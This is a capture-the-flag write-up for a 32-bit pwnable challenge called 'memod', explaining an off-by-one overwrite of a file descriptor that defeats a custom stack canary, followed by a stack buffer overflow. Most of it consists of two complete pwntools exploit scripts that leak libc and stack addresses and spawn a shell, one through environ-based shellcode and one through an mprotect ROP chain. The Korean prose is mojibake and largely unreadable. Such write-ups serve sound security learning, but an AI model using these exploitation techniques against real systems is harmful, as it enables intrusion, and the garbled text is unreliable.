memod
๋ชฉ์ฐจ
pwnable challenge ์ ์ญ๋ณ์์ธ ์ฒซ ๋ฒ์งธ๋ก ๋์ ๋ ๊ฒ์ ๋ค์์ผ๋ก ๋์ ๋ ๊ฒ์ด for๋ฌธ์ ์กฐ๊ฑด๋ฌธ์ด๋ค. ์ ์ทจ์ฝ์ ์ ์ด์ฉํด์ ์ ์จ ๋ฐ๋ผ์ ์ด์ exploit์ ์ํด์ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์ดํด๋ณด๋ NX๊ฐ ๊บผ์ ธ์์ด์ ์์ฝ๋๋ฅผ ํตํด ์์ ๋์ฐ๋ ค๊ณ ํ๋ค. ๊ทธ๋ฐ๋ฐ ์๋ฌด๋ฆฌ ์ฐพ์๋ด๋ stack leak์ด ๋ ๋งํ ๋ถ๋ถ์ด ์์๋คโฆ ๊ณ ๋ฏผํ๋ ๊ณผ์ ์์ libc์ ์๋ ๋ฌผ๋ก ROP๋ก๋ ํ์ด๊ฐ ๊ฐ๋ฅํด์ 0x00. Introduction
[*] '/home/user/memod'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments Goal
int __cdecl main(int argc, const char **argv, const char **envp)
{
...
fd = open("/dev/urandom", 0);
read(fd, &canary_backup, 4u);
canary = canary_backup;
if ( memcmp(&canary_backup, &canary, 4u) )
{
puts("***** ERROR! Stack Smash Attempt .. *****");
exit(-1);
}
...
}canary_backup์ 4๋ฐ์ดํธ ๋๋ค๊ฐ์ /dev/urandom์ผ๋ก๋ถํฐ ์ฝ์ด์ค๊ณ , ๊ทธ ๊ฐ์ ์ง์ญ๋ณ์์ธ canary์ ์ ์ฅํ๋ค๊ฐ ๋๋ ๋ ๋น๊ต๋ฅผ ํ๋ค. ๋ง์ฝ ๊ฐ์ด ๋ฐ๋์๋ค๋ฉด ํ๋ก์ธ์ค๋ฅผ ๊ฐ์ ์ข
๋ฃ์ํค๋ฏ๋ก, ์ด๋ฅผ ์ ์ฐํํด์ผ ํ๋ค. 0x01. Vulnerability
char s[256]; // [esp+10h] [ebp-128h] BYREF
fgets(s, 512, stdin);ebp-0x128์ ์์นํ s์ 512๋ฐ์ดํธ ์
๋ ฅ์ ๋ฐ์ BOF ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค๋ ๊ฒ์ด์๋ค. ๋ค๋ง ์์์๋ ์ธ๊ธํ๋ฏ canary๋ฅผ ์ ์ฐํํด์ผ ํ๋ค. char file[32]; // [esp+110h] [ebp-28h] BYREF
int fd; // [esp+130h] [ebp-8h]
for ( i = 0; i <= 32; ++i )
{
s[0] = getchar();
if ( s[0] - (unsigned int)'0' > 9 )
{
file[i] = 0;
break;
}
file[i] = s[0];
}file ๋ฐฐ์ด์ด 32๋ฐ์ดํธ์ธ ๋ฐ๋ฉด ์กฐ๊ฑด๋ฌธ์ด i <= 32๋ก ๋์ด์๊ธฐ ๋๋ฌธ์ ๋ง์ง๋ง loop์์ file[32]๊ฐ fd์ ๊ฐ์ฅ ํ์ ๋ฐ์ดํธ๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค. 0x02. Exploit
fd๋ฅผ overwriteํ๊ฒ ๋๋ฉด ์๊ธฐ๋ ๋ฌธ์ ๋ ๋ค์๊ณผ ๊ฐ๋ค. fd = open("/dev/urandom", 0);
read(fd, &canary_backup, 4u);
canary = canary_backup;/dev/urandom์ open()ํด์ ์ ์ฅํ fd๊ฐ ์๋ฑํ ๊ฐ์ผ๋ก ๋ฐ๋๊ฒ ๋๋ค. fd๋ฅผ 0์ผ๋ก ๋ฎ์ด์ stdin์ ๋ง๋ค์ด ๋ด๊ฐ ์
๋ ฅ์ ์ค ์๋ ์๊ณ , ์๋ฑํ fd๊ฐ ์์ผ๋ฉด ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃ๋์ง ์๊ณ , canary_backup์ ์๋ฌด๋ฐ ๊ฐ์ด ์จ์ง์ง ์๊ธฐ ๋๋ฌธ์ ์๋ฑํ ๊ฐ์ผ๋ก ๋ฎ์ด๋ ๋๋ค.fd๋ฅผ ์๋ฑํ ๊ฐ์ผ๋ก ๋ฎ๊ณ ์ง์ญ ๋ณ์์ธ canary์ 0x00000000์ ๋ฃ์ด์ฃผ๋ฉด memcmp()๋ฅผ ํต๊ณผํ ์ ์๋ค.[*] '/home/user/memod'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segmentsenviron ๋ณ์๋ฅผ ์ด์ฉํ stack leak ๊ธฐ๋ฒ์ ์ฐพ์๋๋ฐ, ํ๋ฒ๋ ์ด๋ ๊ฒ leak์ ํด๋ณธ ์ ์ด ์์ด์ ์ด๋ฅผ ํ์ฉํ payload๋ฅผ ์์ฑํ๋ค.mprotect()๋ฅผ ์ด์ฉํ ROP๋ก๋ payload๋ฅผ ์์ฑํ๋ค. 0x03. Payload
Payload Using
environfrom pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys
DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"
bp = {
'read_of_main' : 0x08048703,
'fgets_of_main' : 0x804875a,
'canary_backup' : 0x08049b2c,
'end_of_main' : 0x080487ce,
}
gs = f'''
b *{bp['fgets_of_main']}
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
# leak libc
s.send(b"1" * 33) # overwrite fd
s.recv(1024)
payload = b"A" * 0x124 # dummy
payload += b"\x00\x00\x00\x00" # canary
payload += b"BBBB" # sfp
payload += p32(elf.plt['puts']) # ret #1
payload += p32(0x080485e4) # ret #2 (pop ret gadget)
payload += p32(elf.got['write']) # argument #1
payload += p32(elf.symbols['main']) # ret #3
s.sendline(payload)
r = s.recv(1024)
libc = u32(r[0:4]) - lib.symbols["write"]
environ = libc + lib.symbols['environ']
log.info(f"libc : {hex(libc)}")
log.info(f"environ : {hex(environ)}")
# leak stack
s.send(b"2" * 33) # overwrite fd
s.recv(1024)
payload = b"C" * 0x124 # dummy
payload += b"\x00\x00\x00\x00" # canary
payload += b"DDDD" # sfp
payload += p32(elf.plt['puts']) # ret #1
payload += p32(0x080485e4) # ret #2 (pop ret gadget)
payload += p32(environ) # argument #1
payload += p32(elf.symbols['main']) # ret #3
s.sendline(payload)
r = s.recv(1024)
stack = u32(r[0:4])
log.info(f"stack : {hex(stack)}")
# execute shellcode
s.send(b"3" * 33)
s.recv(1024)
payload = asm(shellcraft.execve("/bin/sh", 0, 0)) # shellcode
payload += b"E" * (0x124 - len(payload)) # dummy
payload += b"\x00\x00\x00\x00" # canary
payload += b"FFFF" # sfp
payload += p32(stack - 0x1cc) # ret #1 (&shellcode)
s.sendline(payload)
s.interactive()
if __name__=='__main__':
main() Payload Using
mprotectfrom pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys
DEBUG = True
BINARY = "memod"
LIBRARY = "libc.so.6"
bp = {
'read_of_main' : 0x08048703,
'fgets_of_main' : 0x804875a,
'canary_backup' : 0x08049b2c,
'end_of_main' : 0x080487ce,
'mprotect' : 0xf7e9f020,
}
gs = f'''
b *{bp['end_of_main']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def main():
if(len(sys.argv) > 1):
s = remote("0.0.0.0", int(sys.argv[1]))
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
# leak libc
s.send(b"1" * 33) # overwrite fd
s.recv(1024)
payload = b"A" * 0x124 # dummy
payload += b"\x00\x00\x00\x00" # canary
payload += b"BBBB" # sfp
payload += p32(elf.plt['puts']) # ret #1
payload += p32(0x080485e4) # ret #2 (pr gadget)
payload += p32(elf.got['write']) # argument #1
payload += p32(elf.symbols['main']) # ret #3
s.sendline(payload)
r = s.recv(1024)
libc = u32(r[0:4]) - lib.symbols["write"]
mprotect = libc + lib.symbols['mprotect']
read = libc + lib.symbols['read']
log.info(f"libc : {hex(libc)}")
log.info(f"mprotect : {hex(mprotect)}")
log.info(f"read : {hex(read)}")
# add permission using mprotect
s.send(b"2" * 33) # overwrite fd
s.recv(1024)
payload = b"C" * 0x124 # dummy
payload += b"\x00\x00\x00\x00" # canary
payload += b"DDDD" # sfp
payload += p32(mprotect) # ret #1
payload += p32(0x08048836) # ret #2 (pppr gadget)
payload += p32(bp['canary_backup'] & 0xfffff000) # argument #1
payload += p32(0x1000) # argument #2
payload += p32(0x7) # argument #3
payload += p32(read) # ret #3
payload += p32(bp['canary_backup']) # ret #4
payload += p32(0) # argument #1
payload += p32(bp['canary_backup']) # argument #2
payload += p32(0x100) # argument #3
s.sendline(payload)
# send shellcode
payload = asm(shellcraft.execve("/bin/sh", 0, 0))
s.sendline(payload)
s.interactive()
if __name__=='__main__':
main()